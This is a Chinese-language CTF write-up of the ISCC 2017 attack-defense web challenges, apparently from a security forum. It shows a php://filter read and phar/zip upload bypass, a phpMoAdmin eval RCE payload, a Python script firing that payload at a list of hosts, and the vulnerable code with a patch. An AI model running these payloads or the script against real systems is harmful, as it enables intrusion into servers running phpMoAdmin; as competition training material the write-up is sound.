ISCC 2017 GRD Web Writeup

ADog / 2017-12-05 11:40:00 / 浏览数 2840 安全技术 CTF 顶(1) 踩(0)

全国研究生信息安全与对抗技术竞赛（ISCC：Information Security and Countermeasures Contest)是为适应国家安全、社会发展和大学学科发展需求而开展的竞赛，目的是提高研究生的安全意识和安全常识，激发研究生的创新思维，加强学生动手能力的培养和工
竞赛主旨：提升信息安全意识，普及信息安全知识，实践信息安全技术，共创信息安全环境，发现信息安全人才！
这次比赛分为三个部分：选择题、关卡题、攻防，前面两部分就不多说了，这里重点说下攻防，攻防一共三道题目，2个web，一个pwn，由于本人是做web的，现在附上这

-吐槽下：那就是9个小时的awd时间，只有三道题，也就是说这三道题是不变的，下午第一个拿下了一个分值最高的web题，靠着这道题直接冲上了第一，有一定的偶然性！

第一道攻防题（fruit store）

这道题目由于没有截图，，因此这里只能口述，，最后会附上本机测试的一个截图~拿到私地地址，在web上打开，是一个很普通的页面，重要的是url竟然是x.x.x.x//index.
下面利用伪协议来读取文容，?c=php://filter/read=convert.base64-encode/resource=index，因为后面会自动加上php的后缀，因此这里不需要添加后缀，再读取完所有
下面附上本机测试截图：

这里我构造了一个文件包含的漏洞

这里将php文件压缩成test.zip，这里可以看到利用phar命令，可以执行test.php中的ls指令

这里可以看到我将压缩包后缀修改txt，目的就是绕过上传限制，同样可以执行命令，至此这道题真相大白！这里漏洞的修补也不是非常难，一种方法是将allow_url_include

第二道攻防题（百度杯原题）

首先拿到页面，发现一个登录界面

然后猜测要么存在弱密码，要么存在sql注入，经过测试，这些都行不通，继续看~
然后跑了一下当前目录，发现诸多页面，就比如登录后的index界面，提示“不能访问”
这时候猜测是否是ip白名单，经过burp修改xff后，都不可行，最后发现存在目录泄露漏洞！

经过几番目录搜索，最后在/ez_web/admin/moadmin.php下竟然找到了后台登录的口令（haozi、so_easy）！
这时候登录上去，发现前几个页面是静态页面，只有最后一个是数据库操作，这时候重点就放在这个数据库操作页面，尝试是否存在注入或者命令执行漏洞！

经过sqlmap的测试，最后发现仿佛存在注入，但是不知道为什么，每次跑出注入点，然后就执行不下去了，，然后仔细搜集网页信息，数据库为monogo db，为phpmoadmin数据库操作软件（我一度以为是phpmyadmin翻版），接下来就是搜索这两个的RCE漏洞，最后找到了phpmoadmin存在远程rce漏洞，成功打上私地
Payload:/ez_web/admin/moadmin.php?db=ez_web&action=listRows&collection=111&find=array();eval(system('getflag'));exit
接下来就是编写exp脚本，这里获得了内网列表，直接将url地址改下，即可攻打别人的私地，下面附上py脚本（py2.7）

```
#-*-utf-8-*-
import requests
f1=open('url.txt','r')
f2=open('flag.txt','w')
for line in f1.readlines():
   line=line.replace('\n','')
   url="http://"+line+"/ez_web/admin/moadmin.php?db=ez_web&action=listRows&collection=111&find=array();eval(system('getflag'))
   print url
   res=requests.session()
   res=requests.get(url=url)
   f2.write(res.content)
```

攻打完成后，开始登上ssh，修补漏洞，这里漏洞成因为命令执行，因此加上防命令执行的函数即可~
下面附上漏洞代码：

```
$find = array();
       if (isset($_GET['find']) && $_GET['find']) {
           $_GET['find'] = trim($_GET['find']);
           if (strpos($_GET['find'], 'array') === 0) {
               eval('$find = ' . $_GET['find'] . ';');
           } else if (is_string($_GET['find'])) {
               if ($findArr = json_decode($_GET['find'], true)) {
                   $find = $findArr;
               }
           }
       }
```

可以很明显的看到这里有个eval函数，因此我们将$find参数进行一次过滤即可~这里我使用的是escapeshellarg()函数，主要作用就是为命令执行代码加上双引号，这样代码

高地题

最后高地同样是三道题，两个web一个pwn，两个web都没有人做出来，，不过这里可以作为讨论~
第一道高地题，，，页面很简单，只有一行文件'It
works'，扫描了目录没有发现任何有用的，，扫描了端口发现存在80端口和443端口，使用https打开依然是这个页面，，用心脏出血漏洞poc打了一下，发现竟然是vulnera
第二道高地题。。发现竟然存在post注入，，利用sqlmap跑了一圈，收获了管理员的账号密码，，不能执行sql-shell和os-shell，因此只能乖乖去寻找后台登录地址。。发
and find
it"，这里直到比赛最后30分钟才想起Robots.txt，，，才发现后台地址就躺在这儿。。这里利用注入获得的账号密码登录进去，，发现有很多py模块，这里提供了上传py文

上述如有不当之处，敬请指出~

上一篇：求学二进制，windows exp... 下一篇：企业安全项目架构实践分享

1. 0 条回复
   - 动动手指，沙发就是你的了！